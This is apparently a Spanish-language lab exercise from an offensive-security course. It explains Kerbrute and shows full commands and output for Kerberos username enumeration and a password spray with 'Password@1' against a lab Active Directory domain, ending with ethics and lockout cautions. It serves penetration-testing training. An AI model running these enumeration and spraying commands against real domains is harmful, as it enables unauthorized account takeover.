Kerbrute
OBJETIVO DEL EJERCICIO #13:
Utilizakerbrute
para enumerar usuarios validos y realizar un password spraying.
Para realizarlo es suficiente tener encendido UNICAMENTE WEBSERVER
y First-DC
.
Kerbrute es una herramienta de seguridad informática diseñada para realizar ataques de fuerza bruta y enumeración contra el protocolo de autenticación Kerberos en entornos de Active Directory (AD). Fue desarrollada para ayudar en la evaluación de seguridad de redes AD, identificando cuentas de usuario válidas y posiblemente contraseñas débiles.
¿Qué es Kerberos?
Antes de entrar en detalle sobre Kerbrute, es importante entender qué es Kerberos.
Funcionamiento de Kerbrute
Kerbrute realiza su funcionalidad principalmente a través de dos métodos: ataques de fuerza bruta y enumeración de usuarios. Aquí te detallo cómo funciona cada uno:
Ataques de Fuerza Bruta:
Kerbrute puede probar combinaciones de nombres de usuario y contraseñas para intentar autenticarse contra un dominio de AD utilizando Kerberos.
La herramienta intenta autenticarse con diferentes contraseñas para cada cuenta de usuario, lo que puede revelar contraseñas débiles o comunes.
Enumeración de Usuarios:
Kerbrute también puede realizar la enumeración de usuarios. En este modo, la herramienta intenta autenticarse utilizando nombres de usuario válidos con contraseñas incorrectas.
Kerberos, en algunos casos, responderá de manera diferente a una solicitud de autenticación si el nombre de usuario es válido, incluso si la contraseña es incorrecta. Esto puede permitir a Kerbrute identificar cuentas de usuario válidas sin conocer la contraseña.
Técnicas de Enumeración
Identificando usuarios validos
Se recomienda la siguiente herramienta para encontrar usuarios de compañias:
Para CTFs y examenes de certificaciones ofensivas, se recomienda:
Respuestas Diferenciadas: Kerberos puede devolver errores distintos si el nombre de usuario es válido o no, lo que permite a Kerbrute distinguir entre cuentas existentes y no existentes.
Uso de Listas de Nombres de Usuario: Kerbrute puede trabajar con listas de nombres de usuario posibles para realizar la enumeración, probando cada uno contra el servidor de AD.
┌──(root㉿kali)-[/home/kali]
└─# ./kerbrute_linux_amd64 userenum --dc 10.0.1.100 -d spartancybersec.corp ./users
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 11/13/23 - Ronnie Flathers @ropnop
2023/11/13 03:27:21 > Using KDC(s):
2023/11/13 03:27:21 > 10.0.1.100:88
2023/11/13 03:27:21 > [+] VALID USERNAME: [email protected]
2023/11/13 03:27:21 > [+] VALID USERNAME: [email protected]
2023/11/13 03:27:21 > [+] VALID USERNAME: [email protected]
2023/11/13 03:27:21 > [+] VALID USERNAME: [email protected]
2023/11/13 03:27:21 > [+] VALID USERNAME: [email protected]
2023/11/13 03:27:21 > [+] VALID USERNAME: [email protected]
2023/11/13 03:27:21 > [+] VALID USERNAME: [email protected]
2023/11/13 03:27:21 > [+] VALID USERNAME: [email protected]
2023/11/13 03:27:21 > [+] VALID USERNAME: [email protected]
2023/11/13 03:27:21 > [+] VALID USERNAME: [email protected]
2023/11/13 03:27:21 > [+] VALID USERNAME: [email protected]
2023/11/13 03:27:21 > [+] VALID USERNAME: [email protected]
2023/11/13 03:27:21 > [+] VALID USERNAME: [email protected]
2023/11/13 03:27:21 > [+] VALID USERNAME: [email protected]
2023/11/13 03:27:21 > [+] VALID USERNAME: [email protected]
2023/11/13 03:27:21 > [+] VALID USERNAME: [email protected]
Realizando un password spraying con usuarios validos
Teniendo en cuenta que localizamos una contraseña utilizada en un usuario en Credenciales en descripcion vamos a realizar un password Spraying contra todos los usuarios:
┌──(root㉿kali)-[/home/kali]
└─# ./kerbrute_linux_amd64 passwordspray --dc 3.149.246.12 -d spartancybersec.corp ./users.txt Password@1
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 11/13/23 - Ronnie Flathers @ropnop
2023/11/13 20:10:28 > Using KDC(s):
2023/11/13 20:10:28 > 3.149.246.12:88
2023/11/13 20:10:29 > [+] VALID LOGIN: [email protected]:Password@1
2023/11/13 20:10:29 > [+] VALID LOGIN: [email protected]:Password@1
2023/11/13 20:10:29 > [+] VALID LOGIN: [email protected]:Password@1
2023/11/13 20:10:29 > [+] VALID LOGIN: [email protected]:Password@1
2023/11/13 20:10:29 > [+] VALID LOGIN: [email protected]:Password@1
2023/11/13 20:10:29 > [+] VALID LOGIN: [email protected]:Password@1
2023/11/13 20:10:29 > [+] VALID LOGIN: [email protected]:Password@1
2023/11/13 20:10:29 > [+] VALID LOGIN: [email protected]:Password@1
2023/11/13 20:10:29 > [+] VALID LOGIN: [email protected]:Password@1
2023/11/13 20:10:29 > [+] VALID LOGIN: [email protected]:Password@1
2023/11/13 20:10:29 > [+] VALID LOGIN: [email protected]:Password@1
2023/11/13 20:10:29 > [+] VALID LOGIN: [email protected]:Password@1
2023/11/13 20:10:29 > [+] VALID LOGIN: [email protected]:Password@1
2023/11/13 20:10:29 > [+] VALID LOGIN: [email protected]:Password@1
2023/11/13 20:10:29 > [+] VALID LOGIN: [email protected]:Password@1
2023/11/13 20:10:29 > [+] VALID LOGIN: [email protected]:Password@1
2023/11/13 20:10:29 > Done! Tested 16 logins (16 successes) in 0.696 seconds
Consideraciones de Seguridad y Uso Ético
Detección y Bloqueo: Los intentos de autenticación fallidos pueden ser detectados y resultar en el bloqueo de cuentas, lo que puede causar problemas en una red de producción. Por eso, el uso de Kerbrute debe hacerse con cuidado y solo en entornos controlados o autorizados.
Uso Ético: Kerbrute es una herramienta poderosa que debe utilizarse exclusivamente para pruebas de penetración autorizadas o evaluaciones de seguridad, no para actividades maliciosas.
Última actualización
¿Te fue útil?